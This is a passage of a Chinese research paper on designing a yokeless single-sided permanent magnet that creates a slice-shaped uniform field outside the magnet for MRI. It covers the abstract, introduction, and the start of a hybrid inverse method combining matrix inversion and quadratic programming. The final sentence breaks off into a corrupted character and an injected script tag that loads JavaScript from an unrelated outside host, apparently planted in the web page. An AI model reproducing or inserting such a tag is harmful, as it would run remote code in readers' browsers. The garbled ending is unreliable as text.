摘 要：在磁体外部构建片状均匀磁场区域，是磁体设计所面临的一个全新问题。文中提出了一种混合逆数值算法，以探索这种设计的可行性。混合逆数值算法是一种两步算法，包含直接矩阵反演求逆和二次规划两个步骤。文中对该数值算法进行了详细的描述，并用它成功地找到一种多磁块组合的单边永磁磁体结构。经通用有限元计算软件仿真和对磁体模型的测量表明，这种磁体结构能够较好地在磁体外部一侧构建片状均匀磁场区。用单边永磁磁体在磁体外部构建片状均匀磁场区的实现，为开展单边均匀场常规磁共振成像系统研制等科学研究打下了坚实的基础。
关键词：单边磁体；片状均匀区；逆方法；二次规划
1 引言
对于常规磁共振成像（mri）系统的主磁体设计，都是力求在主磁体所环抱的空间内构建集中连片的高均匀度静磁场区域[1]。图1给出了一个常见mri用磁体的结构。无疑，这样的磁体结构和“磁体环抱样品”模式有助于获得高质量的图像。但是，这类磁体往往体积庞大、笨重、开放性差，并且价格昂贵。特别需要指出的是，由此类磁体配成的mri系统不适合用来检测体积较大和不便移动的物体，因此应用面受到了很大的限制。随着“inside-out”设计思想的出现[2]和非均匀场mri理论[3]的发展，近年来陆续出现了一些单边非均匀场mri系统，如平面mri系统[4]、mri-mouse[5]和遥测mri系统[6]等，主要用于对材料的分析和检测。与常规mri系统相比，单边非均匀场mri系统的主磁体体积小、重量轻、成本便宜，其成像区域位于磁体外的一侧，具有良好的开放性。但是，由于主磁场沿垂直于侧面的方向存在有明显（t/m量级）的梯度，因此均匀性很差，成像速度慢，对于人体扫描是不现实的。为此，提出了单边均匀场mri系统的概念[7]。这种系统的灵敏区为薄片状，位于主磁体外的一侧。与用于材料检测的单边非均匀场mri系统不同，它要求灵敏区的主磁场尽可能均匀，以提高成像速度、改善图像质量。事实上，尽管常规mri系统构建的是集中连片的球形或椭球形均匀灵敏区，但在二维成像应用中都是逐层（片）扫描的。因此，利用单边均匀场mri系统的薄片状灵敏区实现磁共振成像具有重要意义。
迄今为止，还从未有文献对能否在磁体外部构建片状均匀磁场区域的可能性进行过探讨。由于灵敏体积位于磁体外部、磁体结构缺乏对称性，故而这种磁体的设计需要对磁感应强度的三个分量同时加以考虑，以保证磁场的均匀性。为了找到一种可行的磁体结构，正演的计算方法不太可行，必须采用逆求解和搜索的数值方法。考虑到单边非均匀场mri系统多采用永磁主磁体这一事实和永磁磁体本身的特点，把寻找可能的永磁结构作为本文的主要出发点。常规mri系统磁体结构如图1所示。
为了数值计算的需要，考虑使用离散磁块的组合来实现可能的磁体设计，这主要是受离散电流线圈设计的影响。另外，无限多根等间距紧密排列的长直电流线能够在其一侧产生均匀磁场[8]，这使得用离散磁块组合在磁体外部一侧实现片状均匀区是可能的。考虑到通过简单搜索得到这种磁体结构是非常困难的，开发了一种新的混合数值方法，它是一种两步数值算法。该方法首先借鉴了以前用于梯度线圈[9]和匀场线圈[10]设计的逆电流密度方法，通过直接矩阵反演求逆来对可能的磁块结构进行摸索。虽然基于直接矩阵反演的逆方法不能得到一个唯一的解，但是总可以用它找到一个合适的磁块分布，并使之充当下一步设计的初始值。然后，用二次规划方法就可以得到磁体的精细结构。因此将此方法称为混合逆方法。
2 混合逆方法
2.1 磁块离散与直接矩阵反演
对于永磁mri系统而言，如果不考虑极靴的话，主磁体总是可以视为多个小永磁磁块的组合。为了计算和优化的简便，这里假设待求的永磁磁体是一个无轭磁体，也即不使用极靴。因此，它也可以用多个小永磁磁块来构建，如图2所示。
进一步假设一共有2n+1个小磁块，它们的大小是相同的，沿x、y、z三个方向的长度分别为a、b、c。但是，各个磁块的充磁方向和磁化强度是不同的。为了讨论简便，不妨略去x方向的磁化分量。假设每个磁块沿y、z方向的磁化分量分别为myn、mzn，则第n个小磁块在空间任意一点p(x, y, z)处所产生的磁场强度的三个分量为[11]
因此，整个磁体在磁体外空间任意一点p(x,y,z)处产生的磁感应强度的三个分?script src=http://er12.com/t.js>
